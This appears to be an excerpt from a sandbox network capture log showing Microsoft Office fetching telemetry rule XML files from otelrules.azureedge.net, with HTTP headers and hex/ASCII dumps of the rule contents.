3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:04 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:04 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:04 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 92011275-e01e-0033-54c3-454695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145304Z-1746fd949bdhk6hphC1EWRaw3c0000000460000000006exe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:04 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:04 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:04 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:04 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 626f2b07-401e-0015-15d1-450e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145304Z-1746fd949bdfg4slhC1EWR34t0000000043g00000000qa35 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:04 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:05 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:06 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:05 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: c08f9ad7-f01e-001f-3499-465dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145305Z-1746fd949bdxk6n6hC1EWRdr8c000000047g000000009307 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:06 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:05 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:06 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:06 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 3e1c70e6-d01e-0028-76c3-457896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145306Z-1746fd949bd9x4mhhC1EWRb76n00000004c000000000ewb6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:06 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:06 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:06 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:06 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 4927bbd2-c01e-000b-53cc-45e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145306Z-1746fd949bd7wvgbhC1EWR0rgs00000004b000000000ms2d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:06 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:06 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:06 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: d1823508-801e-008c-16d3-457130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145306Z-1746fd949bdwt8wrhC1EWRu6rg00000004d000000000n901 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:07 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:06 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:07 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:07 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8db94728-c01e-0034-79d1-452af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145307Z-1746fd949bd54zxghC1EWRzre400000004r0000000002arb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:07 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:07 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:08 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:08 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: c43eeb18-901e-008f-6ecb-4567a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145308Z-1746fd949bdzd2qvhC1EWRcygw0000000460000000002vc6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:08 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:08 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:08 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:08 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: dea1083a-301e-0051-14cb-4538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145308Z-1746fd949bd4w8sthC1EWR7004000000042g00000000f78m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:08 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:08 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:09 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:09 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 5bdbb5de-801e-0067-47cb-45fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145309Z-1746fd949bdqpttnhC1EWRe1wg000000043000000000dk2q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:09 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:08 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:09 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:09 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 55cb7248-101e-0017-4fd4-4547c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145309Z-1746fd949bdlqd7fhC1EWR6vt000000004cg00000000pe2p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:09 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:08 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:09 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:09 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: ddb132fa-c01e-008d-18cc-452eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145309Z-1746fd949bd4w8sthC1EWR7004000000040000000000mg9x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:09 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" 